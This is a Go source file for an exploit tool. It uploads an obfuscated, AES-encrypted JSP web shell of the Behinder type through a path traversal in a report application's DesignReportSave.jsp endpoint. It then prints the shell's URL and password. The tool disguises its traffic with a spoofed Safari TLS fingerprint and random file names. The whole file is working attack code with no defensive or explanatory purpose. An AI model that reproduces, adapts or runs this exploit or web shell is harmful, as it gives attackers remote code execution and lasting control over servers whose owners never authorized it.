package main

import (
	"crypto/md5"
	"crypto/tls"
	"encoding/hex"
	"fmt"
	"github.com/hpifu/go-kit/hflag"
	"github.com/imroc/req/v3"
	"github.com/liushuochen/gotable"
	"github.com/thanhpk/randstr"
	"net/http"
	"strings"
	"time"
)

func reqClient(proxyUrl string) *req.Client {
	c := req.C()
	c.TLSClientConfig = &tls.Config{InsecureSkipVerify: true,
		MinVersion: tls.VersionTLS10,
		MaxVersion: tls.VersionTLS13}
	c.SetRedirectPolicy(req.NoRedirectPolicy())
	c.SetTLSFingerprintSafari()
	c.SetTimeout(time.Second * 15)
	c.SetAutoDecodeAllContentType()
	if proxyUrl != "" {
		c.SetProxyURL(proxyUrl)
	}
	return c
}
func generateRandInfo() (name, pass string) {
	shellPass := randstr.Hex(12)
	shellName := randstr.Hex(6) + ".jsp"
	return shellName, shellPass
}
func getParams() (host, proxyAddress string) {
	hflag.AddFlag("target", "设定目标地址", hflag.Required(), hflag.Shorthand("t"))
	hflag.AddFlag("proxy", "代理地址", hflag.Shorthand("p"))
	if err := hflag.Parse(); err != nil {
		fmt.Println(hflag.Usage())
		return "", ""
	}
	return hflag.GetString("target"), hflag.GetString("proxy")
}
func uploader(target, proxy string) {
	reqHeaders := map[string]string{
		"Accept-Encoding": "gzip, deflate",
		"Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
		"Connection":      "close",
		"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
		"Content-Type":    "application/octet-stream",
		"User-Agent":      "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15",
	}
	name, pass := generateRandInfo()
	sum := md5.Sum([]byte(pass))
	md5Hashed := hex.EncodeToString(sum[:])
	md5Hashed = md5Hashed[0:16]
	shellStr := "<%! public byte[] AG2R4(String Strings,String k) throws Exception { javax.crypto.Cipher Bf94I8 = javax.crypto.Cipher.getInstance(\"AES/ECB/PKCS5Padding\");Bf94I8.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName(\"javax.crypto.spec.SecretKeySpec\").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), \"AES\"));byte[] bytes;try{int[] aa = new int[]{122, 113, 102, 113, 62, 101, 100, 121, 124, 62, 82, 113, 99, 117, 38, 36};String ccstr = \"\";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr); Object decoder = clazz.getMethod(\"getDecoder\").invoke(null);bytes =  (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, Strings);}catch (Throwable e){int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = \"\";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}Class clazz = Class.forName(ccstr);bytes = (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), Strings);}byte[] result = (byte[]) Bf94I8.getClass()./*ZG0O14x7l0*/getDeclaredMethod/*ZG0O14x7l0*/(\"doFinal\", new Class[]{byte[].class}).invoke(Bf94I8,new Object[]{bytes});return result;} %><%  try {  String K5o1o1Y = \"" + md5Hashed + "\";  session.putValue(\"u\", K5o1o1Y);  byte[] Id99O7m = AG2R4 (request.getReader().readLine(),K5o1o1Y);  java./*ZG0O14x7l0*/lang./*ZG0O14x7l0*/reflect.Method AG2R4 = Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod/*ZG0O14x7l0*/(\"defineClass\",byte[].class,int/**/.class,int/**/.class);  AG2R4.setAccessible(true);  Class i = (Class)AG2R4.invoke(Thread.currentThread()./*ZG0O14x7l0*/getContextClassLoader(), Id99O7m , 0, Id99O7m.length);  Object Q3E0 = i./*ZG0O14x7l0*/newInstance();  Q3E0.equals(pageContext); } catch (Exception e) {} %>"
	vulURL := strings.Replace(target+"/report/DesignReportSave.jsp?report=../"+name, "//report", "/report", 1)
	client := reqClient(proxy)
	for k, v := range reqHeaders {
		client.SetCommonHeader(k, v)
	}
	post, err := client.R().SetBody(shellStr).Post(vulURL)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		_ = post.Body.Close()
	}()
	shellURL := strings.Replace(target+"/"+name, "//"+name, "/"+name, 1)
	if post.StatusCode != http.StatusOK {
		fmt.Println("[x] Shell Upload Failed ~")
		return
	} else {
		t, _ := gotable.Create("Shell连接工具", "Shell连接地址", "Shell连接密码")
		_ = t.AddRow([]string{
			"冰蝎/Bebinder", shellURL, pass,
		})
		get, _ := client.R().Get(shellURL)
		if get.StatusCode != http.StatusNotFound {
			fmt.Println(t)
			_ = get.Body.Close()
		}
	}
}
func main() {
	host, address := getParams()
	if host == "" {
		return
	}
	uploader(host, address)
}
